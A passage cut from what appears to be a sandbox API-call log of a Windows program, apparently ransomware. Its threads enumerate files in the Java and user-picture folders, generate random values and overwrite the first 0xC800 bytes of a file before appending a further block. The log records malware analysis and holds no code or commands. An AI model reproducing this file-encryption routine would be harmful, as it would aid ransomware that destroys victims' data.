"c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile28.bmp")) returned 0x20 [0057.604] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp", dwFileAttributes=0x20) returned 0 [0057.604] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile28.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.605] GetLastError () returned 0x5 [0057.605] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp", dwFileAttributes=0x20) returned 0 [0057.605] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ef80) returned 1 Thread: id = 954 os_tid = 0x12c4 [0052.433] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile29.bmp")) returned 0x20 [0055.819] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp", dwFileAttributes=0x20) returned 0 [0055.819] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile29.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0055.820] GetLastError () returned 0x5 [0055.820] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp", dwFileAttributes=0x20) returned 0 [0055.820] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43f028) returned 1 Thread: id = 955 os_tid = 0x12c8 [0052.434] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile30.bmp")) returned 0x20 [0057.547] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp", dwFileAttributes=0x20) returned 0 [0057.574] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile30.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.578] GetLastError () returned 0x5 [0057.578] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp", dwFileAttributes=0x20) returned 0 [0057.578] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43f0d0) returned 1 Thread: id = 956 os_tid = 0x12cc [0052.435] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile31.bmp")) returned 0x20 [0057.579] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp", dwFileAttributes=0x20) returned 0 [0057.580] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile31.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.580] GetLastError () returned 0x5 [0057.580] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp", dwFileAttributes=0x20) returned 0 [0057.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43f178) returned 1 Thread: id = 957 os_tid = 0x12d0 [0055.528] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile32.bmp")) returned 0x20 [0057.587] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp", dwFileAttributes=0x20) returned 0 [0057.588] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile32.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.588] GetLastError () returned 0x5 [0057.588] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp", dwFileAttributes=0x20) returned 0 [0057.588] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43f220) returned 1 Thread: id = 958 os_tid = 0x12d4 [0055.529] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\accessibility.properties")) returned 0x20 [0055.529] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties", dwFileAttributes=0x20) returned 1 [0064.337] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\accessibility.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcd0 [0066.144] GetFileSizeEx (in: hFile=0xcd0, lpFileSize=0x17ebf838 | out: lpFileSize=0x17ebf838*=155) returned 1 [0066.144] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9170 [0066.144] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce500 [0066.144] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce668 [0066.144] NtQuerySystemTime (in: CurrentTime=0x17ebf798 | out: CurrentTime=0x17ebf798*=132174898301208000) returned 0x0 [0066.144] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x3c8dc1e2 [0066.144] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x3c895d9d [0066.144] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x66a30c9d [0066.144] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x32d2b2eb [0066.144] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x3265637 [0066.144] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x37a1577c [0066.144] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x355bab41 [0066.144] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x1c89a524 [0066.144] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x4e8c0103 [0066.144] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x81d17b1 [0066.144] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x5c677763 [0066.144] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x117b69cd [0066.144] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x3682e29d [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x78b6c24e [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x72835f1c [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x6772764 [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0xd223298 [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x98d5c92 [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x44d20014 [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x8741927 [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x3eb2a88d [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x5aa24218 [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x7b46175b [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x58866cf2 [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x52201794 [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x46a4643b [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x293bfe52 [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x6722daec [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x200c9b28 [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x25a1a6fb [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x2145f4a5 [0066.145] RtlRandomEx (in: Seed=0x17ebf7a4 | out: Seed=0x17ebf7a4) returned 0x778f3270 [0066.157] ReadFile (hFile=0xcd0, lpBuffer=0x196d0990, nNumberOfBytesToRead=0x9b, lpNumberOfBytesRead=0x17ebf794, lpOverlapped=0x0) Thread: id = 959 os_tid = 0x12d8 [0055.529] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\alt-rt.jar")) returned 0x20 [0055.529] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar", dwFileAttributes=0x20) returned 1 [0064.337] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\alt-rt.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1704 [0065.888] GetFileSizeEx (in: hFile=0x1704, lpFileSize=0x1855fea8 | out: lpFileSize=0x1855fea8*=172765) returned 1 [0065.888] SetFilePointerEx (in: hFile=0x1704, liDistanceToMove=0x2a2d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.888] ReadFile (hFile=0x1704, lpBuffer=0x1855fe2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1855fe28, lpOverlapped=0x0) Thread: id = 960 os_tid = 0x12dc [0055.530] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x445eb0 [0055.530] wcscpy (in: _Dest=0x445eb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet" [0055.530] wcscat (in: _Dest=0x445eb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\" [0055.530] wcscat (in: _Dest=0x445eb0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*" [0055.530] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426058 [0055.530] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*", lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440fa0 [0055.530] wcscmp (_String1=".", _String2=".") returned 0 [0055.530] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.530] wcscmp (_String1="..", _String2=".") returned 1 [0055.530] wcscmp (_String1="..", _String2="..") returned 0 [0055.531] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.531] FindClose (in: hFindFile=0x440fa0 | out: hFindFile=0x440fa0) returned 1 [0055.531] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x426058) returned 1 [0055.531] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445eb0) returned 1 [0055.531] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a310) returned 1 Thread: id = 961 os_tid = 0x12e0 [0055.532] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\calendars.properties")) returned 0x20 [0066.139] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties", dwFileAttributes=0x20) Thread: id = 962 os_tid = 0x12e4 [0055.532] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\charsets.jar")) returned 0x20 [0066.139] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar", dwFileAttributes=0x20) Thread: id = 963 os_tid = 0x12e8 [0055.533] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\classlist")) returned 0x20 [0062.240] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist", dwFileAttributes=0x20) returned 1 [0064.338] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\classlist"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xec0 [0064.339] GetFileSizeEx (in: hFile=0xec0, lpFileSize=0x1875fec0 | out: lpFileSize=0x1875fec0*=75075) returned 1 [0064.339] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x1253f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.339] ReadFile (in: hFile=0xec0, lpBuffer=0x1875fe44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1875fe40, lpOverlapped=0x0 | out: lpBuffer=0x1875fe44*, lpNumberOfBytesRead=0x1875fe40*=0x4, lpOverlapped=0x0) returned 1 [0064.341] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.341] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9750 [0064.341] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec93b8 [0064.341] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8a30 [0064.341] NtQuerySystemTime (in: CurrentTime=0x1875fe20 | out: CurrentTime=0x1875fe20*=132174898283268000) returned 0x0 [0064.341] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x60fca4c9 [0064.341] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x6b00cb21 [0064.341] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x7ac772fd [0064.341] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x1f315d7c [0064.341] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x4d1a10ef [0064.341] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x3f9bdd3f [0064.341] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x740f65ff [0064.341] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x15060501 [0064.341] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x73485a06 [0064.341] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x79f1b762 [0064.341] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x3de957ef [0064.341] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x16b1d7cc [0064.341] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x38d19cd7 [0064.341] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x3fb6d9d [0064.341] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x532db3a9 [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x204bf408 [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x6366019e [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x6fad079b [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x4e6e4e6e [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x70d7f66c [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x284dadec [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x10c5dadd [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x269085ce [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x646d8d66 [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x1424704f [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x3960d0cd [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x622a6113 [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x2502312 [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x2693e4e3 [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x2a8c2dbb [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x78f6e494 [0064.342] RtlRandomEx (in: Seed=0x1875fe2c | out: Seed=0x1875fe2c) returned 0x91d6ae1 [0064.353] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.353] ReadFile (in: hFile=0xec0, lpBuffer=0x19a09158, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1875fe00, lpOverlapped=0x0 | out: lpBuffer=0x19a09158*, lpNumberOfBytesRead=0x1875fe00*=0xc800, lpOverlapped=0x0) returned 1 [0064.354] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.354] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c168 [0064.354] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418f50 [0064.354] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9750 [0064.354] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9750) returned 1 [0064.355] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19a15960 [0064.355] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9750 [0064.355] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8a30 [0064.355] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8a30) returned 1 [0064.355] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418f50) returned 1 [0064.355] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c168) returned 1 [0064.355] WriteFile (in: hFile=0xec0, lpBuffer=0x19a15960*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1875fe00, lpOverlapped=0x0 | out: lpBuffer=0x19a15960*, lpNumberOfBytesWritten=0x1875fe00*=0xc800, lpOverlapped=0x0) returned 1 [0066.756] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19a15960) returned 1 [0066.893] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19a09158) returned 1 [0066.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x4eda48 [0066.931] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.931] WriteFile (hFile=0xec0, lpBuffer=0x12e2bd30, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x1875fe80, lpOverlapped=0x0) Thread: id = 964 os_tid = 0x12ec [0055.534] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a310 [0055.534] wcscpy (in: _Dest=0x44a310, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0055.534] wcscat (in: _Dest=0x44a310, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0055.534] wcscat (in: _Dest=0x44a310, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*" [0055.534] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426058 [0055.534] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*", lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409da8 [0066.140] wcscmp (_String1=".", _String2=".") returned 0 [0066.140] FindNextFileW (in: hFindFile=0x409da8, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.140] wcscmp (_String1="..", _String2=".") returned 1 [0066.140] wcscmp (_String1="..", _String2="..") returned 0 [0066.140] FindNextFileW (in: hFindFile=0x409da8, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1 [0066.140] wcscmp (_String1="CIEXYZ.pf", _String2=".") returned 1 [0066.140] wcscmp (_String1="CIEXYZ.pf", _String2="..") returned 1 [0066.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x5e46b18 [0066.140] wcscpy (in: _Dest=0x5e46b18, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0066.140] wcscat (in: _Dest=0x5e46b18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0066.140] wcscat (in: _Dest=0x5e46b18, _Source="CIEXYZ.pf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\CIEXYZ.pf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\CIEXYZ.pf" Thread: id = 965 os_tid = 0x12f0 [0055.547] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\content-types.properties")) returned 0x20 [0065.706] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties", dwFileAttributes=0x20) Thread: id = 966 os_tid = 0x12f4 [0055.548] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\currency.data")) returned 0x20 [0065.490] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data", dwFileAttributes=0x20) Thread: id = 967 os_tid = 0x12f8 [0055.549] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x445eb0 [0055.549] wcscpy (in: _Dest=0x445eb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files 